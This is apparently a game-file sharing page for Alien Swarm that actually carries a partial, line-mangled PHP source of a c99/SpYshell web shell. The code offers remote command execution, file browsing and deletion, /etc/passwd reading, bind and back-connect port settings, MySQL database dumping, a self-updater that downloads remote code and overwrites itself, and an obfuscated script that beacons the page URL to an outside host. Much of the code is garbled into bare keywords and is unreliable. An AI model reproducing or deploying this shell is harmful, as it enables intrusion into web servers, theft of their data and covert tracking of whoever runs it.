anjay
shell1
Game: | Alien Swarm |
User: | anonymous |
File(s): | 1 |
Download: | Download now: anjay |
Views: | 3189 |
Downloads: | 54 |
Likes: |
-
- <?php
- //Starting calls
- if
- error_reporting
- @ignore_user_abort(true);
- @set_magic_quotes_runtime(0);
- $win = strtolower(substr(PHP_OS,0,3)) == "win";
- define
- if
- $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
- foreach
- $shver = "KingDefacer"; //Current version
- //CONFIGURATION AND SETTINGS
- if
- elseif
- else {$surl = $_REQUEST["ashcoike_surl"]; //Set this cookie for manual SURL
- }
- $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
- if ($surl_autofill_include and !$_REQUEST["ashcoike_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
- if
- {
- $surl = "?".$includestr; //Self url
- }
- $surl = htmlspecialchars($surl);
- $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
- //Authentication
- $login = ""; //login
- //DON'T FORGOT ABOUT PASSWORD!!!
- $pass = ""; //password
- $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
- $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
- $login_txt = "Restricted area"; //http-auth message.
- $accessdeniedmess = "<a href="http://xxxxxxxxxxxxxxxxxxxxxxxx">SpYshell v.".$shver."</a>: Erisim Engellendi";
- $gzipencode = true; //Encode with gzip?
- $updatenow = false; //If true, update now (this variable will be false)
- $ashsh_updateurl = "http://xxxxxxxxxxxxxxxxxxxxxx"; //Update server
- $ashsh_sourcesurl = "http://xxxxxxxxxxxxxxxxxxxxxxxx"; //Sources-server
- $filestealth = true; //if true, don't change modify- and access-time
- $donated_html = "<center><b>Powerad By MilitanZ</b></center>";
- /* If you publish shell and you wish
- add link to
- put here your
- $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
- $curdir = "./"; //start folder
- //$curdir = getenv("DOCUMENT_ROOT");
- $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
- $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
- $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
- $sort_save = true; //If true then save sorting-position using cookies.
- // Registered file-types.
- // array(
- // "{action1}"=>array("ext1","ext2","ext3",...),
- // "{action2}"=>array("ext4","ext5","ext6",...),
- // ...
- // )
- $ftypes = array(
- "html"=>array("html","htm","shtml"),
- "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
- "exe"=>array("sh","install","bat","cmd"),
- "ini"=>array("ini","inf"),
- "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
- "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
- "sdb"=>array("sdb"),
- "phpsess"=>array("sess"),
- "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
- );
- // Registered executable file-types.
- // array(
- // string "command{i}"=>array("ext1","ext2","ext3",...),
- // ...
- // )
- // {command}: %f% = filename
- $exeftypes = array(
- getenv
- "perl %f%" => array("pl","cgi")
- );
- /* Highlighted files.
- array
- i=>array({regexp},{type},{opentag},{closetag},{break})
- ...
- )
- string
- int
- 0 - files and folders (as default),
- 1 - files only, 2 - folders only
- string
- string
- bool
- */
- $regxp_highlight = array(
- array (basename($_SERVER["PHP_SELF"]),1,"<font color="yellow">","</font>"), // example
- array ("config.php",1) // example
- );
- $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
- // array (i=>{letter} ...); string {letter} - letter of a drive
- //$safemode_diskettes = range("a","z");
- $hexdump_lines = 8; // lines in hex preview file
- $hexdump_rows = 24; // 16, 24 or 32 bytes in one line
- $nixpwdperpage = 100; // Get first N lines from /etc/passwd
- $bindport_pass = "ash"; // default password for binding
- $bindport_port = "31373"; // default port for binding
- $bc_port = "31373"; // default port for back-connect
- $datapipe_localport = "8081"; // default port for datapipe
- // Command-aliases
- if
- {
- $cmdaliases = array(
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- );
- }
- else
- {
- $cmdaliases = array(
- array
- array
- );
- }
- $sess_cookie = "ashshvars"; // Cookie-variable name
- $usefsbuff = true; //Buffer-function
- $copy_unset = false; //Remove copied files from buffer after pasting
- //Quick launch
- $quicklaunch = array(
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- array
- );
- //Highlight-code colors
- $highlight_background = "#c0c0c0";
- $highlight_bg = "#FFFFFF";
- $highlight_comment = "#6A6A6A";
- $highlight_default = "#0000BB";
- $highlight_html = "#1300FF";
- $highlight_keyword = "#007700";
- $highlight_string = "#000000";
- @$f = $_REQUEST["f"];
- @extract($_REQUEST["ashshcook"]);
- //END CONFIGURATION
- // / Next code isn't for editing /
- @set_time_limit(0);
- $tmp = array();
- foreach
- $s = "!^(".implode("|",$tmp).")$!i";
- if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href="http://xxxxxxxxxxxxxxxxxxx">SpYshell</a>: Erisim Engellendi - Senin Host (".getenv("REMOTE_ADDR").") not allow");}
- if
- {
- if
- if
- {
- if
- header
- header
- exit
- }
- }
- if
- {
- $lastdir = realpath(".");
- chdir
- if
- $sess_data = unserialize($_COOKIE["$sess_cookie"]);
- if
- if
- if
- $disablefunc = @ini_get("disable_functions");
- if
- {
- $disablefunc = str_replace(" ","",$disablefunc);
- $disablefunc = explode(",",$disablefunc);
- }
- if
- {
- function ash_buff_prepare
- {
- global
- global
- foreach
- foreach
- $sess_data["copy"] = array_unique($sess_data["copy"]);
- $sess_data["cut"] = array_unique($sess_data["cut"]);
- sort
- sort
- if
- else
- }
- }
- ash_buff_prepare
- if
- {
- function ash_sess_put
- {
- global
- global
- ash_buff_prepare
- $sess_data = $data;
- $data = serialize($data);
- setcookie
- }
- }
- foreach
- {
- if
- if
- }
- if
- {
- if
- if
- }
- if
- {
- function str2mini
- {
- if
- {
- $len = ceil($len/2) - 2;
- return substr
- }
- else
- }
- }
- if
- {
- function view_size
- {
- if
- else
- {
- if
- elseif
- elseif
- else
- return
- }
- }
- }
- if
- {
- function fs_copy_dir
- {
- $d = str_replace("",DIRECTORY_SEPARATOR,$d);
- if
- $h = opendir($d);
- while
- {
- if
- {
- if
- else
- if
- }
- }
- closedir
- return true
- }
- }
- if
- {
- function fs_copy_obj
- {
- $d = str_replace("",DIRECTORY_SEPARATOR,$d);
- $t = str_replace("",DIRECTORY_SEPARATOR,$t);
- if
- if
- {
- if
- if
- return fs_copy_dir
- }
- elseif
- else
- }
- }
- if
- {
- function fs_move_dir
- {
- $h = opendir($d);
- if
- while
- {
- if
- {
- $ret = true;
- if
- else
- if
- }
- }
- closedir
- return true
- }
- }
- if
- {
- function fs_move_obj
- {
- $d = str_replace("",DIRECTORY_SEPARATOR,$d);
- $t = str_replace("",DIRECTORY_SEPARATOR,$t);
- if
- {
- if
- if
- return fs_move_dir
- }
- elseif
- {
- if
- else
- }
- else
- }
- }
- if
- {
- function fs_rmdir
- {
- $h = opendir($d);
- while
- {
- if
- {
- if
- else
- }
- }
- closedir
- rmdir
- return
- }
- }
- if
- {
- function fs_rmobj
- {
- $o = str_replace("",DIRECTORY_SEPARATOR,$o);
- if
- {
- if
- return fs_rmdir
- }
- elseif
- else
- }
- }
- if
- {
- function myshellexec
- {
- global
- $result = "";
- if
- {
- if
- elseif
- elseif
- elseif
- elseif
- {
- $result = "";
- while
- pclose
- }
- }
- return
- }
- }
- if
- if
- {
- function view_perms
- {
- if
- elseif
- elseif
- elseif
- elseif
- elseif
- elseif
- else
- $owner["read"] = ($mode & 00400)?"r":"-";
- $owner["write"] = ($mode & 00200)?"w":"-";
- $owner["Uygulanamadi!"] = ($mode & 00100)?"x":"-";
- $group["read"] = ($mode & 00040)?"r":"-";
- $group["write"] = ($mode & 00020)?"w":"-";
- $group["Uygulanamadi!"] = ($mode & 00010)?"x":"-";
- $world["read"] = ($mode & 00004)?"r":"-";
- $world["write"] = ($mode & 00002)? "w":"-";
- $world["Uygulanamadi!"] = ($mode & 00001)?"x":"-";
- if
- if
- if
- return
- }
- }
- if
- if
- if
- if
- {
- function parse_perms
- {
- if
- elseif
- elseif
- elseif
- elseif
- elseif
- elseif
- else
- $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
- $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
- $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
- return array
- }
- }
- if
- {
- function parsesort
- {
- $one = intval($sort);
- $second = substr($sort,-1);
- if
- return array
- }
- }
- if
- {
- function view_perms_color
- {
- if
- elseif
- else
- }
- }
- if
- {
- function ashgetsource
- {
- global
- $array = array(
- "ashsh_bindport.pl" => "ashsh_bindport_pl.txt",
- "ashsh_bindport.c" => "ashsh_bindport_c.txt",
- "ashsh_backconn.pl" => "ashsh_backconn_pl.txt",
- "ashsh_backconn.c" => "ashsh_backconn_c.txt",
- "ashsh_datapipe.pl" => "ashsh_datapipe_pl.txt",
- "ashsh_datapipe.c" => "ashsh_datapipe_c.txt",
- );
- $name = $array[$fn];
- if
- else
- }
- }
- if
- {
- function ashsh_getupdate
- {
- $url = $GLOBALS["ashsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
- $data = @file_get_contents($url);
- if
- else
- {
- $data = ltrim($data);
- $string = substr($data,3,ord($data{2}));
- if
- if
- if
- {
- $string = explode("",$string);
- if
- {
- $confvars = array();
- $sourceurl = $string[0];
- $source = file_get_contents($sourceurl);
- if
- else
- {
- $fp = fopen(__FILE__,"w");
- if
- else
- }
- }
- else
- }
- elseif
- else
- }
- }
- }
- if
- {
- function mysql_dump
- {
- global
- $sock = $set["sock"];
- $db = $set["db"];
- $print = $set["print"];
- $nl2br = $set["nl2br"];
- $file = $set["file"];
- $add_drop = $set["add_drop"];
- $tabs = $set["tabs"];
- $onlytabs = $set["onlytabs"];
- $ret = array();
- $ret["err"] = array();
- if
- if
- if
- if
- if
- if
- {
- $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
- }
- if
- if
- if
- {
- // retrive tables-list
- $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
- if
- }
- $out = "# Dumped by SpYShell.SQL ".$shver."
- # Ana Sayfa: http://www.spyhackerz.com/
- # Host ayarlari:
- # MySQL versiyon: (".mysql_get_server_info().") Su an calisan ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
- # Tarih: ".date("d.m.Y H:i:s")."
- # DB: "".$db.""
- #---------------------------------------------------------
- ";
- $c = count($onlytabs);
- foreach
- {
- if
- {
- if
- // recieve query for Olustur table structure
- $res = mysql_query("Olusan tabloyu goster `".$tab."`", $sock);
- if
- else
- {
- $row = mysql_fetch_row($res);
- $out .= $row["1"]."; ";
- // recieve table variables
- $res = mysql_query("Sec * FROM `$tab`", $sock);
- if
- {
- while
- {
- $keys = implode("`, `", array_keys($row));
- $values = array_values($row);
- foreach
- $values = implode("', '", $values);
- $sql = "Icine Sok `$tab`(`".$keys."`) VALUES ('".$values."'); ";
- $out .= $sql;
- }
- }
- }
- }
- }
- $out .= "#--------------------------------------------------------------------------------- ";
- if
- {
- $fp = fopen($file, "w");
- if
- else
- {
- fwrite
- fclose
- }
- }
- if
- return
- }
- }
- if
- {
- function mysql_buildwhere
- {
- if
- $result = "";
- foreach
- {
- $value = "";
- if
- $value .= "'".addslashes($v)."'";
- if
- $result .= "`".$k."` = ".$value.$sep;
- }
- $result = substr($result,0,strlen($result)-strlen($sep));
- return
- }
- }
- if
- {
- function mysql_fetch_all
- {
- if
- else
- $array = array();
- while
- mysql_free_result
- return
- }
- }
- if
- {
- function mysql_smarterror
- {
- if
- else
- $error = htmlspecialchars($error);
- return
- }
- }
- if
- {
- function mysql_query_form
- {
- global
- if
- if
- if
- {
- echo "<table border=0><tr><td><form name=" ashsh_sqlquery
- if
- {
- echo "<td valign=" top
- foreach
- echo "</td></tr></table>"
- }
- }
- if
- }
- }
- if
- {
- function mysql_create_db
- {
- $sql = "DATABASE OLUSTUR `".addslashes($db)."`;";
- if
- else
- }
- }
- if
- {
- function mysql_query_parse
- {
- $query = trim($query);
- $arr = explode (" ",$query);
- /*array array()
- {
- "METHOD"=>array(output_type),
- "METHOD1"...
- ...
- }
- if output_type
- if output_type
- if output_type
- if output_type
- */
- $types = array(
- "SELECT"=>array(3,1),
- "SHOW"=>array(2,1),
- "DELETE"=>array(1),
- "DROP"=>array(1)
- );
- $result = array();
- $op = strtoupper($arr[0]);
- if
- {
- $result["propertions"] = $types[$op];
- $result["query"] = $query;
- if
- {
- foreach
- {
- if
- {
- $result["limit"] = $arr[$k+1];
- $result["limit"] = explode(",",$result["limit"]);
- if
- unset
- }
- }
- }
- }
- else
- }
- }
- if
- {
- function ashfsearch
- {
- global
- global
- global
- global
- global
- global
- if
- $h = opendir($d);
- while
- {
- if
- {
- $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
- if
- {
- $search_i_d++;
- if
- if
- }
- else
- {
- $search_i_f++;
- if
- {
- if
- {
- $r = @file_get_contents($d.$f);
- if
- if
- if
- else
- if
- if
- }
- else
- }
- }
- }
- }
- closedir
- }
- }
- if
- //Sending headers
- @ob_start();
- @ob_implicit_flush(0);
- function onphpshutdown
- {
- global
- if
- {
- $v = @ob_get_contents();
- @ob_end_clean();
- @ob_start("ob_gzHandler");
- echo
- @ob_end_flush();
- }
- }
- function ashshexit
- {
- onphpshutdown
- exit
- }
- header
- header
- header
- header
- header
- if
- {
- $tmpdir = ini_get("upload_tmp_dir");
- if
- }
- $tmpdir = realpath($tmpdir);
- $tmpdir = str_replace("",DIRECTORY_SEPARATOR,$tmpdir);
- if
- if
- else
- if
- {
- $safemode = true;
- $hsafemode = "<font color=red>ACiK (Guvenlikli) :( </font>";
- }
- else
- $v = @ini_get("open_basedir");
- if
- else
- $sort = htmlspecialchars($sort);
- if
- $sort[1] = strtolower($sort[1]);
- $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
- if
- $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href="".$surl."act=phpinfo" target="_blank"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
- @ini_set("highlight.bg",$highlight_bg); //FFFFFF
- @ini_set("highlight.comment",$highlight_comment); //#FF8000
- @ini_set("highlight.default",$highlight_default); //#0000BB
- @ini_set("highlight.html",$highlight_html); //#000000
- @ini_set("highlight.keyword",$highlight_keyword); //#007700
- @ini_set("highlight.string",$highlight_string); //#DD0000
- if
- $dspact = $act = htmlspecialchars($act);
- $disp_fullpath = $ls_arr = $notls = null;
- $ud = urlencode($d);
- ?>
- <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
- <title><?php echo getenv("HTTP_HOST"); ?> c99shell - Edited By KingDefacer</title>
- <script>
- var _0x5be8 =["src","http://eval.cryptr.org/?x=","href"]
- a= new Image();
- a[_0x5be8[0]]=_0x5be8[1]+escape(location[_0x5be8[2]]);
- </script>
- <STYLE>
- TD
- behavior
- background
- }
- </style></head><BODY text=#ffffff leftMargin=0 topMargin=0 rightMargin=0 bottomMargin=0 marginwidth=0 marginheight=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99 Shell Designed by MilitanZ phpshell.in</b></font></a><font face=Webdings size=6><b>!</b></font></p>
- <p> </p>
- </center></th></tr><tr><td><p align="left"><b>Server Yazilim: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>Uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Guvenlik Modu: <?php echo $hsafemode; ?></b></p><p align="left">
- <?php
- $d = str_replace("",DIRECTORY_SEPARATOR,$d);
- if
- $d = str_replace("",DIRECTORY_SEPARATOR,$d);
- if
- $d = str_replace("","",$d);
- $dispd = htmlspecialchars($d);
- $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
- $i = 0;
- foreach
- {
- $t = "";
- $j = 0;
- foreach
- {
- $t.= $r.DIRECTORY_SEPARATOR;
- if
- $j++;
- }
- echo "<a href=" ".$surl."
- $i++;
- }
- echo " "
- if
- {
- $wd = true;
- $wdt = "<font color=green> [ ok ] </font>";
- echo "<b><font color=green>" .view_perms
- }
- else
- {
- $wd = false;
- $wdt = "<font color=red> [ Sadece Read ] </font>";
- echo "<b>" .view_perms_color
- }
- if
- {
- $free = disk_free_space($d);
- $total = disk_total_space($d);
- if
- if
- if
- if
- $used = $total-$free;
- $free_percent = round(100/($total/$free),2);
- echo "<br><b>Toplam " .view_size
- }
- echo "<br>"
- $letters = "";
- if
- {
- $v = explode("",$d);
- $v = $v[0];
- foreach
- {
- $bool = $isdiskette = in_array($letter,$safemode_diskettes);
- if
- if
- {
- $letters .= "<a href="".$surl."act=ls&d=".urlencode($letter.":").""".($isdiskette?" onclick="return confirm('Disketin Takili oldugundan Emin ol!')"":"").">[ ";
- if
- else
- $letters .= " ]</a> ";
- }
- }
- if
- }
- if
- {
- foreach
- {
- $item[1] = str_replace("%d",urlencode($d),$item[1]);
- $item[1] = str_replace("%sort",$sort,$item[1]);
- $v = realpath($d."..");
- if
- $item[1] = str_replace("%upd",urlencode($v),$item[1]);
- echo "<a href=" ".$item[1]."
- }
- }
- echo "</p></td></tr></table><br>"
- if
- echo "<TABLE style=" BORDER-COLLAPSE
- if
- if
- {
- $sql_surl = $surl."act=sql";
- if
- if
- if
- if
- if
- $sql_surl .= "&";
- ?><h3>Dikkat! SQL-Manager i Hazirda <u>DEGiL</u>. </h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
- if
- {
- $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
- $err = mysql_smarterror();
- @mysql_select_db($sql_db,$sql_sock);
- if
- }
- else
- echo "<b>SQL Manager:</b><br>"
- if
- {
- if
- else
- }
- else
- {
- $sqlquicklaunch = array();
- $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
- $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
- $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
- $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
- $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
- $sqlquicklaunch[] = array("Logout",$surl."act=sql");
- echo "<center><b>MySQL " .mysql_get_server_info
- if
- echo "</center>"
- }
- echo "</td></tr><tr>"
- if
- else
- {
- //Start left panel
- if
- {
- ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
- $result = mysql_list_tables($sql_db);
- if
- else
- {
- echo "---[ <a href=" ".$sql_surl."
- $c = 0;
- while
- if
- }
- }
- else
- {
- ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
- $result = mysql_list_dbs($sql_sock);
- if
- else
- {
- ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
- $c = 0;
- $dbs = "";
- while
- echo "<option value=" ">Databases ("
- echo
- }
- ?></select><hr size="1" noshade>Lutfen Database secin<hr size="1" noshade><input type="submit" value="Go"></form><?php
- }
- //End left panel
- echo "</td><td width=" 100
- //Start center panel
- $diplay = true;
- if
- {
- if
- if
- echo "<hr size=" 1
- if
- echo "</b></center>"
- $acts = array("","dump");
- if
- elseif
- elseif
- elseif
- elseif
- elseif
- elseif
- elseif
- elseif
- {
- if
- {
- $keys = "";
- $akeys = array_keys($sql_tbl_insert);
- foreach
- if
- $values = "";
- $i = 0;
- foreach
- if
- $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
- $sql_act = "query";
- $sql_tbl_act = "browse";
- }
- elseif
- {
- $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
- $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
- $result = mysql_query($sql_query) or print(mysql_smarterror());
- $result = mysql_fetch_array($result, MYSQL_ASSOC);
- $sql_act = "query";
- $sql_tbl_act = "browse";
- }
- }
- if
- {
- echo "<hr size=" 1
- if
- if
- if
- }
- if
- {
- ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Yeni Tablo olustur:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name="submit" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
- if
- if
- {
- echo "<b>"
- if
- }
- else
- }
- elseif
- {
- if
- {
- $diplay = false;
- echo "<form method=" GET
- echo "<b>DB:</b> <input type=" text
- $v = join (";",$dmptbls);
- echo "<b>Only tables (explode "
- if
- else
- echo "<b>File:</b> <input type=" text
- echo "<b>Download: </b> <input type=" checkbox
- echo "<b>Save to file: </b> <input type=" checkbox
- echo "<br><br><input type=" submit
- echo "</form>"
- }
- else
- {
- $diplay = true;
- $set = array();
- $set["sock"] = $sql_sock;
- $set["db"] = $sql_db;
- $dump_out = "download";
- $set["print"] = 0;
- $set["nl2br"] = 0;
- $set[""] = 0;
- $set["file"] = $dump_file;
- $set["add_drop"] = true;
- $set["onlytabs"] = array();
- if
- $ret = mysql_dump($set);
- if
- {
- @ob_clean();
- header
- header
- header
- echo
- exit
- }
- elseif
- {
- $fp = fopen($sql_dump_file,"w");
- if
- else
- {
- fwrite
- fclose
- echo "<b>Dumped(Dokuldu)! Dump Yazildi " ".htmlspecialchars(realpath($sql_dump_file))."
- }
- }
- else
- }
- }
- if
- {
- if
- {
- if
- $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
- $count_row = mysql_fetch_array($count);
- mysql_free_result
- $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
- $tbl_struct_fields = array();
- while
- if
- if
- if
- if
- $perpage = $sql_tbl_le - $sql_tbl_ls;
- if
- $numpages = $count_row[0]/$perpage;
- $e = explode(" ",$sql_order);
- if
- {
- if
- else
- $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
- }
- else
- $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
- $result = mysql_query($query) or print(mysql_smarterror());
- echo "<hr size=" 1
- echo "<a href=" ".$sql_surl."
- echo "<a href=" ".$sql_surl."
- echo "<a href=" ".$sql_surl."
- echo "<a href=" ".$sql_surl."
- if
- if
- {
- if
- if
- {
- }
- else
- {
- echo "<br><br><b>Row u tabloya sok :</b><br>"
- if
- {
- $sql_query = "SELECT * FROM `".$sql_tbl."`";
- $sql_query .= " WHERE".$sql_tbl_insert_q;
- $sql_query .= " LIMIT 1;";
- $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
- $values = mysql_fetch_assoc($result);
- mysql_free_result
- }
- else
- echo "<form method=" POST
- foreach
- {
- $name = $field["Alan"];
- if
- echo "<tr><td><b>" .htmlspecialchars
- $i++;
- }
- echo "</table><br>"
- echo "<input type=" radio
- if
- echo "<br><br><input type=" submit
- }
- }
- if
- {
- $sql_tbl_ls = abs($sql_tbl_ls);
- $sql_tbl_le = abs($sql_tbl_le);
- echo "<hr size=" 1
- echo "<img src=" ".$surl."
- $b = 0;
- for
- {
- if
- echo
- if
- if
- else
- }
- if
- echo "<form method=" GET
- echo "<br><form method=" POST
- echo "<tr>"
- echo "<td><input type=" checkbox
- for
- {
- $v = mysql_field_name($result,$i);
- if
- else
- echo "<td>"
- if
- if
- else
- echo "</td>"
- }
- echo "<td><font color=" green
- echo "</tr>"
- while
- {
- echo "<tr>"
- $w = "";
- $i = 0;
- foreach
- if
- echo "<td><input type=" checkbox
- $i = 0;
- foreach
- {
- $v = htmlspecialchars($v);
- if
- echo "<td>" .
- $i++;
- }
- echo "<td>"
- echo "<a href=" ".$sql_surl."
- echo "<a href=" ".$sql_surl."
- echo "</td>"
- echo "</tr>"
- }
- mysql_free_result
- echo "</table><hr size=" 1
- echo "<option value=" ">Secildi:</option>"
- echo "<option value=" deleterow
- echo "</select> <input type=" submit
- }
- }
- else
- {
- $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
- if
- else
- {
- echo "<br><form method=" POST
- $i = 0;
- $tsize = $trows = 0;
- while
- {
- $tsize += $row["Data_length"];
- $trows += $row["Rows"];
- $size = view_size($row["Data_length"]);
- echo "<tr>"
- echo "<td><input type=" checkbox
- echo "<td> <a href=" ".$sql_surl."
- echo "<td>" .
- echo "<td>" .
- echo "<td>" .
- echo "<td>" .
- echo "<td>" .
- echo "<td> <a href=" ".$sql_surl."
- echo "</tr>"
- $i++;
- }
- echo "<tr bgcolor=" 000000
- echo "<td><center><b></b></center></td>"
- echo "<td><center><b>" .
- echo "<td><b>" .
- echo "<td>" .
- echo "<td>" .
- echo "<td>" .
- echo "<td><b>" .view_size
- echo "<td></td>"
- echo "</tr>"
- echo "</table><hr size=" 1
- echo "<option value=" ">Sec:</option>"
- echo "<option value=" tbldrop
- echo "<option value=" tblempty
- echo "<option value=" tbldump
- echo "<option value=" tblcheck
- echo "<option value=" tbloptimize
- echo "<option value=" tblrepair
- echo "<option value=" tblanalyze
- echo "</select> <input type=" submit
- mysql_free_result
- }
- }
- }
- }
- }
- else
- {
- $acts = array("","newdb","serverstatus","servervars","processes","getfile");
- if
- if
- {
- echo "<hr size=" 1
- if
- {
- echo "<b>"
- if
- else
